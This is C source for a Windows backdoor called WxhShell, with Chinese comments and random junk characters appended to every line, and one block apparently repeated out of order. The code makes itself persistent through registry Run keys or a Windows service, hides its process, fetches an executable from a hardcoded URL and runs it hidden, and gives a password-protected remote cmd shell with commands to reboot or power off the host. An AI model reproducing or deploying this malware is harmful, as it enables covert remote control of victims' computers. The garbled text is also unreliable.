    if(Boot(SHUTDOWN)) S5H}   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^)`e}}  
    else { {5ehm  
    closesocket(wsh); Dequ'  
    ExitThread(0); i3L2N~:V  
    } ^rY18?XC+:  
    break; c;a<nTLn  
    } Ix(,gDN  
  // 获取shell "?iyvzo  
  case 's': { ~`$P-^u88X  
    CmdShell(wsh); V`c,U7[/  
    closesocket(wsh); Cd6th F)  
    ExitThread(0); {C8IYBm  
    break; ,@M<O!%Cs  
  } P_p\OK*l]o  
  // 退出 rY@9nQ\>g  
  case 'x': { xd"+ &YT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k3Puq1H  
    CloseIt(wsh); q^ &r<i  
    break; E*,nKJu'r  
    } ![I|hB  
  // 离开 nC?Lz1re  
  case 'q': { f+)LVT8p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k#/cdK!K  
    closesocket(wsh); SY@;u<Pd   
    WSACleanup(); HvZSkq^  
    exit(1); 2r+nr  
    break; U(OkTJxv+  
        } bkpN`+c  
  } \W=Z`w3  
  } x]R0zol  
@FF{lK?[  
  // 提示信息 ;"RyHow  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); COBjJ3  
} X1[zkb  
  } t0/Ol'kgs  
*.D{d0A  
  return; 1M55!b  
} bJ6H6D>  
utn,`v   
// shell模块句柄 _[l&{,  
int CmdShell(SOCKET sock) ^Q+z^zlC  
{ \F+".X#jh  
STARTUPINFO si; Tks1gN^^  
ZeroMemory(&si,sizeof(si)); U.I 7p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 497l2}0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ' eWG v  
PROCESS_INFORMATION ProcessInfo; }w >UNGUMh  
char cmdline[]="cmd"; "&;X/~j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gv(MX ;B#  
  return 0; 9JILK9mVO  
} Y~#F\v  
Es\J%*\u  
// 自身启动模式 +Ll29Buyi  
int StartFromService(void) u{D]Kc?n  
{ uG YH4  
typedef struct z?UEn#E2  
{ ^\\9B-MvY  
  DWORD ExitStatus; :w4N*lV-  
  DWORD PebBaseAddress; K_.|FEV  
  DWORD AffinityMask; N_+D#Z.g  
  DWORD BasePriority; GyFA1%(o  
  ULONG UniqueProcessId; ,u- 9e4  
  ULONG InheritedFromUniqueProcessId; f%[xl6VE;  
}   PROCESS_BASIC_INFORMATION; ``{GU}n  
VrhHcvnZ  
PROCNTQSIP NtQueryInformationProcess; !#e+!h@  
4((p?jb C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (b"q(:5oX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }%42Ty  
-0NkAQrg  
  HANDLE             hProcess; KO"+"1 .  
  PROCESS_BASIC_INFORMATION pbi; @ @(O##(7  
Aq>?G+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I@#IXH?6  
  if(NULL == hInst ) return 0; 23Q 88z   
vuJEPn%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LA/Qm/T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vk[M .=J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g$/7km{TP  
Bc b '4*:  
  if (!NtQueryInformationProcess) return 0; ztp2j%'  
(_gt!i{h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KhL%ov  
  if(!hProcess) return 0; P1$D[aF9$  
G}}Lp~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qHd7C3  
xv%]g= Q  
  CloseHandle(hProcess); +u&3pK>f  
2 zX9c<S=5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ufor>  
if(hProcess==NULL) return 0; P{StF`>Y  
'S&Zq:  
HMODULE hMod; ={o)82LV  
char procName[255]; :$P1ps3B  
unsigned long cbNeeded; D$TpT X\  
l2Rnyb<;;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `/B+  
/o}i,i$  
  CloseHandle(hProcess); -"#jRP]#  
|PGTP#O<  
if(strstr(procName,"services")) return 1; // 以服务启动 $Ny:At  
d(KK7SQg  
  return 0; // 注册表启动 g+?2@L$L  
} /`y^z"!  
g\iSc~%?  
// 主模块 ;r.#|b  
int StartWxhshell(LPSTR lpCmdLine) 3'SN0VL  
{ t=jG$A  
  SOCKET wsl; 7>AM zNj  
BOOL val=TRUE; 8cURYg6v  
  int port=0; > -(Zx  
  struct sockaddr_in door; Eb5BJ-XeS^  
.VohW=D3  
  if(wscfg.ws_autoins) Install(); \H1t<B,  
{*<%6?  
port=atoi(lpCmdLine); nu2m5RYx  
Q6N?cQtOT  
if(port<=0) port=wscfg.ws_port; z&jASL  
O]61guxro  
  WSADATA data; UoSc<h|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4`Jf_C  
N0 mh gEA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E;q+u[$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /neY2D6  
  door.sin_family = AF_INET; Fw#1?/K~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k$kxw_N5d  
  door.sin_port = htons(port); ^E~1%Md.  
Deq@T {  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kp;a(D  
closesocket(wsl); 9XUk.Nek  
return 1; RRl`;w?  
} Rv.IHSQUo  
j*d+WZm8-g  
  if(listen(wsl,2) == INVALID_SOCKET) {  2 av=W  
closesocket(wsl); {Eqx'j  
return 1; `_BmVms  
} wbg ?IvY[  
  Wxhshell(wsl); sN) xNz  
  WSACleanup(); $)KNpdXh  
$ % B  
return 0; m9\~dD  
B$S@xD $  
} |Nadk(}  
]K%d   
// 以NT服务方式启动 &MB1'~Q,hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z&7Yl(|  
{ I$XwM  
DWORD   status = 0; &[N_{O|  
  DWORD   specificError = 0xfffffff; voJJoy%  
JgV4-B0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FL&L$#X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =-qYp0sVP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h<n2pz}  
  serviceStatus.dwWin32ExitCode     = 0; S,a:H*Hf  
  serviceStatus.dwServiceSpecificExitCode = 0; kL<HGQt  
  serviceStatus.dwCheckPoint       = 0; ?30pNF|  
  serviceStatus.dwWaitHint       = 0; bw!*=<  
Ylgr]?Db*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]LMtZUz  
  if (hServiceStatusHandle==0) return; HYZp= *eb  
@4Q /J$  
status = GetLastError(); GgE 38~A4  
  if (status!=NO_ERROR) :b!&Xw$  
{ s{42_O?,c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V?-2FK]  
    serviceStatus.dwCheckPoint       = 0; ~D`  
    serviceStatus.dwWaitHint       = 0; E 5mYFVK  
    serviceStatus.dwWin32ExitCode     = status; Ix~rBD9  
    serviceStatus.dwServiceSpecificExitCode = specificError; iRM ?_|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' t^ r2N/  
    return; Qtt3;5m  
  } WHu[A/##']  
E5a7p.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >4Qj+ou  
  serviceStatus.dwCheckPoint       = 0; H|'n|\{lt  
  serviceStatus.dwWaitHint       = 0; 1DN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); omT^jh  
} &z>iqm"Ww  
dl6Ju  
// 处理NT服务事件,比如:启动、停止 6QNZ/Ox:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N{6-a  
{ :W+%jn  
switch(fdwControl) i8#:y`ai  
{ 14(ct  
case SERVICE_CONTROL_STOP: v|@EuN14<  
  serviceStatus.dwWin32ExitCode = 0; >x ]{c b/m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S8C} C#  
  serviceStatus.dwCheckPoint   = 0; urQ<r{$x0  
  serviceStatus.dwWaitHint     = 0; j{/5i`5m  
  { i 1GQ=@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <)"2rxX&5  
  } MVEh<_  
  return; ^KV:.up6  
case SERVICE_CONTROL_PAUSE: L^2wEF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S$a.8Xh  
  break; Yqv!ZJ6  
case SERVICE_CONTROL_CONTINUE: hW\'EJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %H3 iX^}*  
  break; }|j#C[  
case SERVICE_CONTROL_INTERROGATE: G}aM~,v  
  break; |`+ (O  
}; cmY `$=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wBEBj7(y  
} 'vKae  
gyU=v{].  
// 标准应用程序主函数 l vBcEg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yvnvIy  
{ 2<d'!cm  
q3|SZoN  
// 获取操作系统版本 SjcX|=S  
OsIsNt=GetOsVer(); !yz3:Yzu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "kKIv|`  
ly@%1  
  // 从命令行安装 -.-@|*5  
  if(strpbrk(lpCmdLine,"iI")) Install(); {@PZlQg  
w*u.z(:a`  
  // 下载执行文件  J@J`)  
if(wscfg.ws_downexe) { #(Yd'qKo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ${97G#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ppeF,Q  
} X @7:FzU9  
SzG?m]  
if(!OsIsNt) { !"ydl2  
// 如果时win9x,隐藏进程并且设置为注册表启动 }T53y6J#  
HideProc(); ]puDqu5!  
StartWxhshell(lpCmdLine); V-"#Kf9  
} \#gguq?[  
else 2Ic)]6z R  
  if(StartFromService()) e|^.N[W  
  // 以服务方式启动 ?}C8_I|4~  
  StartServiceCtrlDispatcher(DispatchTable); ;h#Q!M&e#  
else +hs:W'`%  
  // 普通方式启动 aED73:b  
  StartWxhshell(lpCmdLine); -@~4:o  
.4y44: T  
return 0; Ctk1\quz  
} $]a*ZHd;2&  
&C#?&AQ  
$M1;d1e6'  
J~N!. i  
=========================================== MI`<U:-lP  
1b@]^Ue  
[5GzY`/m  
dX-j3lM:#  
FQ/z,it_i  
K'[kl'  
" )W1[{?  
wid  
#include <stdio.h> q%XjJ -s:  
#include <string.h> @J6V ,  
#include <windows.h> ]@l;;Sp  
#include <winsock2.h> 9q2x}  
#include <winsvc.h> Seq ^o=  
#include <urlmon.h> ]DZ~"+LaG  
0 n|>/i  
#pragma comment (lib, "Ws2_32.lib") [9y y<Z5  
#pragma comment (lib, "urlmon.lib") }#n d&ND  
? O9|  
#define MAX_USER   100 // 最大客户端连接数 #5X+. !L  
#define BUF_SOCK   200 // sock buffer b >'c   
#define KEY_BUFF   255 // 输入 buffer hF1Lj=x  
]v_u2f'  
#define REBOOT     0   // 重启 (62Sc]  
#define SHUTDOWN   1   // 关机 -8S Z}J  
l?HC-_Pbh  
#define DEF_PORT   5000 // 监听端口 u!McPM8Yk  
<JW %h :\t  
#define REG_LEN     16   // 注册表键长度 7&Ie3[Rm_3  
#define SVC_LEN     80   // NT服务名长度 V@`%k]k  
|#B)`r8  
// 从dll定义API $7p0<<Nck  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {k']nI.>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Y"./BDY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p<B*)1Tj0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D% 2S!  
B!J&=*=e  
// wxhshell配置信息 NFf?~I&mfu  
struct WSCFG { Uu|R]azbO  
  int ws_port;         // 监听端口 6)~7Uf:<v  
  char ws_passstr[REG_LEN]; // 口令 Zy>y7O(,  
  int ws_autoins;       // 安装标记, 1=yes 0=no S AKIFNE  
  char ws_regname[REG_LEN]; // 注册表键名 98CS|NEe  
  char ws_svcname[REG_LEN]; // 服务名 c3O&sa V!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G6X5`eLQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NHhKEx0Gtu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YIHGXi<"n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bq{eu#rQJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  X$_z"t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )%hW3w  
jori,"s  
}; +Ecn  
fhro"5/4  
// default Wxhshell configuration O/oLQoH  
struct WSCFG wscfg={DEF_PORT, 161IWos  
    "xuhuanlingzhe",  |  
    1, [`1@`5SL-  
    "Wxhshell", \CYKj_c  
    "Wxhshell", &p55Cg@e)  
            "WxhShell Service", B06W(y,3Q>  
    "Wrsky Windows CmdShell Service", 1:q`KkJx  
    "Please Input Your Password: ", nDz.61$[  
  1, , ksr%gR+  
  "http://www.wrsky.com/wxhshell.exe", 9ol&p>  
  "Wxhshell.exe" 9]g`VD6 <v  
    }; 6N/6WrQEeg  
*tl;0<n  
// 消息定义模块 ",S146Y+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~@"H\):/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5W09>C>OC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u_Xp\RJ  
char *msg_ws_ext="\n\rExit."; id>2G %Tx  
char *msg_ws_end="\n\rQuit."; Crezo?  
char *msg_ws_boot="\n\rReboot..."; 1#|qT7  
char *msg_ws_poff="\n\rShutdown..."; ixB"6O  
char *msg_ws_down="\n\rSave to "; 'lOpoWDL  
c']m5q39'  
char *msg_ws_err="\n\rErr!"; :{ai w?1  
char *msg_ws_ok="\n\rOK!"; +O7GgySx  
<#)Q.P  
char ExeFile[MAX_PATH]; g!`^!Q/($  
int nUser = 0; sLc,Dx"+  
HANDLE handles[MAX_USER]; N <M6~  
int OsIsNt; v `;Hd8  
yxi*4R  
SERVICE_STATUS       serviceStatus; {^R>H|~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dt'bbX'edw  
,be$ ~7qS  
// 函数声明 @/='BVb'T  
int Install(void); BoHNni  
int Uninstall(void); }RUK?:lEA  
int DownloadFile(char *sURL, SOCKET wsh); cEGR?4z  
int Boot(int flag); XM`&/)  
void HideProc(void); <lRjh7  
int GetOsVer(void); )~ ^`[`  
int Wxhshell(SOCKET wsl); GGsAisF"N  
void TalkWithClient(void *cs); MKX58y{+  
int CmdShell(SOCKET sock); s6Il3K f  
int StartFromService(void); `X(H,Q}*;  
int StartWxhshell(LPSTR lpCmdLine); )c<[@ ::i  
QvlV jDIy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *b"aJ<+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V%voe  
z -'e<v;w  
// 数据结构和表定义 /lc4oXG8  
SERVICE_TABLE_ENTRY DispatchTable[] = tV2o9!N4  
{ /#[mV(k  
{wscfg.ws_svcname, NTServiceMain}, NZ% v{?  
{NULL, NULL} RAA,%rRhu(  
}; 43*;"w=  
UW{C`^?=B  
// 自我安装 -+:t%A?  
int Install(void) m:cWnG  
{ k8,s<m  
  char svExeFile[MAX_PATH]; ~NIqO4 D  
  HKEY key; aX*7tRn_%  
  strcpy(svExeFile,ExeFile); _TbvQ Y  
RG_6& A  
// 如果是win9x系统,修改注册表设为自启动 }5}#QHF  
if(!OsIsNt) { WdbHT|.Aj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [f]:h Ji  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !j9(%,PR  
  RegCloseKey(key); J$S*QCo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qa"4^s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "J 2v8c  
  RegCloseKey(key); A $l  
  return 0; }&^1")2t  
    } pbG v\S F  
  } tQ)l4Y 8  
} >KJE *X@s  
else { w NMA)S  
vg5fMH9ZZ  
// 如果是NT以上系统,安装为系统服务 e4;h*IQK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;ao <{i?  
if (schSCManager!=0) 03!#99  
{ I:YE6${k!  
  SC_HANDLE schService = CreateService !4$-.L)#  
  ( ]!2[kA-  
  schSCManager, 4Dasj8GsV  
  wscfg.ws_svcname, pJ/{X=y  
  wscfg.ws_svcdisp, <,J O  
  SERVICE_ALL_ACCESS, u`pw'3hY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [+qB^6I+P%  
  SERVICE_AUTO_START, l=47#zbpZ]  
  SERVICE_ERROR_NORMAL, sRflabl *x  
  svExeFile, 2>m"CG  
  NULL, ;6`7 \  
  NULL, Kn}Y7B{  
  NULL,  k.\4<}  
  NULL, 4Td)1~zc3  
  NULL )#,a'~w  
  ); h3Nbgxa.  
  if (schService!=0) Sb`SJ):x  
  { fdgjTX  
  CloseServiceHandle(schService); BipD8`a  
  CloseServiceHandle(schSCManager); eH%i8a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F`.W 9H3  
  strcat(svExeFile,wscfg.ws_svcname); BfQ#5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0,6! 6>BOT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wIF)(t-):  
  RegCloseKey(key); \ (U|&  
  return 0; hfs QAa  
    } bUc ++M  
  } hPt=j{aJ%<  
  CloseServiceHandle(schSCManager); ^CB@4$!   
} PrF('PH7i  
} ucUu hS5  
#_zj5B38E  
return 1; jIWX6  
} T;3B_ lu]  
/Ur]U w  
// 自我卸载 Rj-4K@a8#N  
int Uninstall(void) ^O**ZndB/  
{ r<'B\.#tp>  
  HKEY key; %< Jj[F  
%/R[cj 8  
if(!OsIsNt) { /.(F\2+A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F mQiy+.|  
  RegDeleteValue(key,wscfg.ws_regname); 7+rroCr"  
  RegCloseKey(key); $^W|@et{ ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aQV?}  
  RegDeleteValue(key,wscfg.ws_regname); Srrzj-9^)K  
  RegCloseKey(key); tNxKpA |F  
  return 0; .xtam 8@  
  } 4!Lj\.!$  
} * K0aR!  
} f_IsY+@  
else { -90X^]  
:*J!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +<WNAmh   
if (schSCManager!=0) Z;6?,5OSc  
{ `(~oZbErM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8>DX :`  
  if (schService!=0) cq8JpSB(  
  { T|uG1  
  if(DeleteService(schService)!=0) { _"82W^Wi  
  CloseServiceHandle(schService); Nk?/vMaw  
  CloseServiceHandle(schSCManager); ]F"@+_E  
  return 0; v5*JBW+c*  
  } 2D"aAI<P  
  CloseServiceHandle(schService); 8>(/:u_x  
  } aF.fd2k  
  CloseServiceHandle(schSCManager); I%CrsEo  
} au/5`  
} 'Ge8l%p  
GsIqUM#R  
return 1; JY$;m3h  
} yRt7&,}zL  
MkM`)g 5  
// 从指定url下载文件 ?F|F~A8dr  
int DownloadFile(char *sURL, SOCKET wsh) 5zH_yZ@+  
{ 3/8<dc  
  HRESULT hr; Y5<W"[B!  
char seps[]= "/"; O?iLLfs  
char *token; H )Ze{N  
char *file; }zrapL"9X  
char myURL[MAX_PATH]; `|4k>5k  
char myFILE[MAX_PATH]; a!, X@5  
G1wJ]ar  
strcpy(myURL,sURL); 7~VDk5Z6  
  token=strtok(myURL,seps); iO}KERfU  
  while(token!=NULL) 1}OM"V  
  { @Z Dd(xB&  
    file=token; i.e4<|{  
  token=strtok(NULL,seps); I\|.WrMNi  
  } 6Z{(.'Be  
>&Y\g?Z6G  
GetCurrentDirectory(MAX_PATH,myFILE); L!~ap  
strcat(myFILE, "\\"); 0_-P~^A  
strcat(myFILE, file); 'v5q/l  
  send(wsh,myFILE,strlen(myFILE),0); B\+uRiD8w  
send(wsh,"...",3,0); 18> v\Hi<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;G*)7fi  
  if(hr==S_OK) ]qiX"<s>~C  
return 0; F:LrQu  
else [$Jsel<T=  
return 1; gN[^ ,u  
H"wIa8A  
}  Rp6q)  
^t,haO4  
// 系统电源模块 ]aYuBoj  
int Boot(int flag) 2h1P!4W85  
{ q<4{&omUJ  
  HANDLE hToken; }bnodb^.7  
  TOKEN_PRIVILEGES tkp; S(_DR 8  
?)7UqVyq  
  if(OsIsNt) { 'AZxR4W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ij:yTu   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N: 5 N}am  
    tkp.PrivilegeCount = 1; l$m}aQ%h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7hT@,|(j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @I?: x4  
if(flag==REBOOT) { j)#GoU=w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AL|3_+G  
  return 0; D{JwZL@7k2  
} $5>m\wrl  
else { f0*_& rP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Npvm49  
  return 0; ow#8oUf=  
} -cP1,>Ahv  
  } 0+AMN-  
  else { p Moza8  
if(flag==REBOOT) { ;&MnPFmq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x|g2H.n  
  return 0; 8[:G/8VI  
} P|TM4i]  
else { /`j2%8^N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Gr@Mi5  
  return 0; o 80x@ &A:  
} {HjJ9ZGQ  
} JI /iq  
6Ia[`x uL  
return 1; $ SZIJe"K  
} $dug"[  
dcfwUjp[  
// win9x进程隐藏模块 w4l]rH  
void HideProc(void) rVp^s/A^;  
{ @?& i   
IH.EvierJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f,ql8q(|J  
  if ( hKernel != NULL ) j_S3<wEJ  
  { *E-MJCv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =FfR?6 ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mB%m<Zo\U  
    FreeLibrary(hKernel); 2m9qg-W  
  } V OT9cP^6  
-jVg {f!  
return; $_gv(&ZT  
} iDYm4sY  
M%s!qC+  
// 获取操作系统版本 Bk5ft4v-  
int GetOsVer(void) i*mI-l  
{ }sp?@C,Z  
  OSVERSIONINFO winfo; gBZNO! a,d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;Hb"SB  
  GetVersionEx(&winfo); f4 vdJ5pV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hro)m"  
  return 1; BRv#`  
  else Cj J n  
  return 0; !$<Kp6  
} >L$9fn/J  
*p|->p6,u  
// 客户端句柄模块 S KGnx  
int Wxhshell(SOCKET wsl) c*R18,5-  
{ ?\zyeWK0L  
  SOCKET wsh; [~?6jnp  
  struct sockaddr_in client; &"Fz)}  
  DWORD myID; &LQfs4}a,  
qBZ;S3  
  while(nUser<MAX_USER) LN9.Q'@r?  
{ KVoM\ttP  
  int nSize=sizeof(client); bnV)f<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TJuS)AZ C  
  if(wsh==INVALID_SOCKET) return 1; /mwDVP<z /  
Bo ??1y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a~zh5==QD  
if(handles[nUser]==0) 1 /SB[[g  
  closesocket(wsh); GE\({V.W  
else 1U ='"  
  nUser++; ^UyN)eX  
  } {'#7b# DB>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jJ?G7Q5 l  
}MtORqK  
  return 0; |V^f}5gd  
} K] &GSro  
l>)+HoD  
// 关闭 socket FPEab69  
void CloseIt(SOCKET wsh) Ad4-aWH  
{ ^$<:~qq !  
closesocket(wsh); }{v0}-~@  
nUser--; S4OOm[8  
ExitThread(0); WL3J>S_  
} Y>K8^GS  
B0^:nYko  
// 客户端请求句柄 w<Iq:3  
void TalkWithClient(void *cs) ?S.LGc  
{ ~xc0Ky?8  
S}K-\[i?  
  SOCKET wsh=(SOCKET)cs; 'Y/8gD~.  
  char pwd[SVC_LEN]; eYPIZ{S7h  
  char cmd[KEY_BUFF]; ZQmg;L&7  
char chr[1]; $BOpjDV8  
int i,j; 5,R<9FjW  
x(rl|o  
  while (nUser < MAX_USER) { x_= 3 !)  
A64c,Uv  
if(wscfg.ws_passstr) { h9 rrkV9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,u14R]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \*c=bz&l  
  //ZeroMemory(pwd,KEY_BUFF); s*vtCdrE.  
      i=0; Sf t,$  
  while(i<SVC_LEN) { ")w~pZE&+  
w# ;t$qz}  
  // 设置超时 l!IN#|{(  
  fd_set FdRead; Ub[UB%(T  
  struct timeval TimeOut; 6>h"Lsww  
  FD_ZERO(&FdRead); ,|w,  
  FD_SET(wsh,&FdRead); Wr,pm#gl6  
  TimeOut.tv_sec=8; M$3/jl*#}  
  TimeOut.tv_usec=0; fg GTm:   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,_:6qn{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +@<@x4yt  
8,:lw3x1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gn<e&|4>i}  
  pwd=chr[0]; y <P1VES  
  if(chr[0]==0xd || chr[0]==0xa) { w^S]HzMd  
  pwd=0; yRz l}  
  break; I2?g'tz  
  } YwJ<0;:+hS  
  i++; :oJ!9\5  
    } ~Yg+bwh  
0:eK}tC  
  // 如果是非法用户,关闭 socket u<HJFGLzI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [LSs|f  
} kb'l@d#E  
D \boF+^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  3;Tsjv}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3.%jet1  
PH!rWR  
while(1) { +b{tk=Q:  
&9xcP.3  
  ZeroMemory(cmd,KEY_BUFF); [O6JVXO>  
x!UGLL]_M  
      // 自动支持客户端 telnet标准   ?)4c!3#  
  j=0; dVBr-+  
  while(j<KEY_BUFF) { ;(LC{jY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lV?OYS|4i  
  cmd[j]=chr[0]; &I/C^/F&  
  if(chr[0]==0xa || chr[0]==0xd) { i.+#a2   
  cmd[j]=0; AUR{O  
  break; 5ma~Pjt8}  
  } j7C&&G q  
  j++; g+=f=5I3  
    } ,m)YL>k  
q?# w%0}  
  // 下载文件 z!^3%kJJ>  
  if(strstr(cmd,"http://")) { 9RY}m7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `_M&zN  
  if(DownloadFile(cmd,wsh)) xGX U7w:X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2l`% F`x  
  else J(`(PYo\i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aMyf|l.  
  } </qli-fXB}  
  else { Yk5Cyq  
" R-Pe\W  
    switch(cmd[0]) { =z2g}X  
  ]ov"&,J  
  // 帮助 QkY;O<Y_  
  case '?': { BEii:05  
